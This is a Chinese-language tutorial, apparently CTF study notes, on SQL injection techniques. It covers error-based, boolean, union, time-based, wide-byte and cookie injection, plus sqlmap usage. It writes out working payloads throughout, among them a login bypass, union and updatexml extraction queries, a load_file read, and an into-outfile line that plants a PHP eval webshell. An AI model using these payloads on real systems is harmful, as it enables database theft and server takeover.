1.基于错误的注入

错误注入的思想是通过构造特殊的sql语句,根据返回的错误信息,确定注入点。

通过错误信息也可以探测数据库类型和版本等有用信息

通过输入单引号,触发数据库异常,通过异常日志判断数据库类型

2.基于布尔的注入

布尔注入的思想是闭合sql语句,构造or和and逻辑语句,注释多余的代码

例如 原sql语句:select * from Users where username='username' and password='pwd'

利用布尔注入构造语句: select * from Users where username='' or 1=1 -- ''and password='pwd',由于1=1恒真,所以可以返回所有表里面的信息。

简单的应用是万能密码: ‘ or 1=1#

3.基于union的注入

union语句用于联合前面的select语句获取更多信息

一般通过错误和布尔注入确认注入点后,就开始通过union语句获取信息

 

通过order by语句确认前面select语句的列数,

414a9060-9d5e-46ee-bbb5-fc85dd67d3c0.node4.buuoj.cn:81/index.php?id=1%27 order by 4 -- + 

此时恰好没有页面没有回显,确认列数为3

414a9060-9d5e-46ee-bbb5-fc85dd67d3c0.node4.buuoj.cn:81/index.php?id=0%27 union select 1,database(),version() -- +

union联合的select语句的列数一定要与前面select语句查找的列数相同,如果union后select语句列数比原语句列数少,可以加数字填充,如果比前面多,需要用group_concat()关键字把内容合并成一条数据。这里利用union语句,得到了当前库名为note和数据库版本

4.基于时间的盲注

有些数据库对错误信息做了安全配置,使得无法通过上面方式确认注入点,通过设置sleep语句探测注入点

用法是: 测试的数据' and sleep(t) -- +

如果测试的数据存在数据库,页面会延迟t秒相应

 

 

比较重要的函数

group_concat()  把内容连接成一个字符串

left()       从左侧开始取指定字符个数的字符串

ord()       返回ascii码

hex()       将字符串转成十六进制

unhex()        hex的反向操作

md5()         返回md5值

floor(x)       返回不大于x的最大整数

rand()        返回0到1之间的随机浮点数

length(database())       查看数据库名长度

substr(database(),1,4)    查看数据库名从第一位开始,取4位的字符

load_file()      读取文件,并返回文件内容作为字符串

sleep()        

if(判断语句,t,f)    当判断语句为真执行t,否则执行f

find_in_set()       返回字符串在字符串列表中的位置

sql注入点的判断

如果是字符型注入点

原语句

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

当传入1'时的报错信息

1也会在报错信息中显示

如果是数字型注入点

sql语句:$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

报错信息

此时报错信息从'开始

报错注入

在数据库报错信息中得到想要的信息。

group by报错的具体原理参考:深入理解group by报错注入_group by 报错-CSDN博客

group by报错注入利用的是主键冲突,当主键冲突的时候数据库会报错,构造payload可以爆出数据库信息。

sql语句:select count(*) from users group by concat(version(),floor(rand()*2))

当主键冲突时

在报错信息中包含了数据库的版本

group by报错注入语句:

select * from users where user_id=1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

extractvalue报错注入语句:

select * from users where user_id=1 and (extractvalue(1,concat(0x7e,(select database()),0x7e)));

updatexml报错注入语句

select * from users where user_id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

 

sqlmap的使用

参数

-u "url"

--dbs 列出所有数据库的名称

--current-db  列出当前数据库名称

-D  指定一个数据库

--tables  列出表名

-T  指定表名

--columns  列出所有列名

-C  指定字段

--dump  列出字段内容

 

POST注入

先用bp抓包并把http报文保存到post.txt

sqlmap -r post.txt

利用sql注入读写文件

secure-file-priv

可以在phpmyadmin中看到该变量

在my.ini配置文件中[mysqld]可以修改该参数

secure-file-priv=     表示不对mysqld导入导出做限制

secure-file-priv='c:/a/'  限制mysqld的导入导出发生在c:/a/下(子目录有效)

secure-file-priv=NULL  不允许mysqld导入导出

查询用户具有的文件权限

select File_priv from mysql.user where user='root' and host='localhost'  //查询localhost下的root用户的文件权限

要知道读写文件的绝对路径

读取文件操作:?id=-1' union select load_file("d:/onlytest/hello.txt") -- +

写入文件操作:?id=1' and select 1,'<?php @eval($_POST['111']);?>',3 into outfile "d:/onlytest/1.php" -- +

 

宽字节注入

一个字符的大小为一个字节成为窄字节,一个字符大小为两个字节成为宽字节

mysql使用GBK编码的时候,会认为两个字符为一个汉字(前面一位字符ascii码要大于128),gbk编码范围8140-fefe

当后面一个字符为%5c时,在前面添加一个大于%81的字符,会导致%5c表示的字符被吃掉,两个字符组成一个汉字。

sqli-labs的less-32

当你输入'时,会被后端转义,此时在前面加上%df可以把%5c吃掉,从而找到注入点

成功找到字符注入点

 

 

cookie注入

bp抓包后对页面的cookie值进行修改提交,查看反馈(跟输入框的sql注入类似)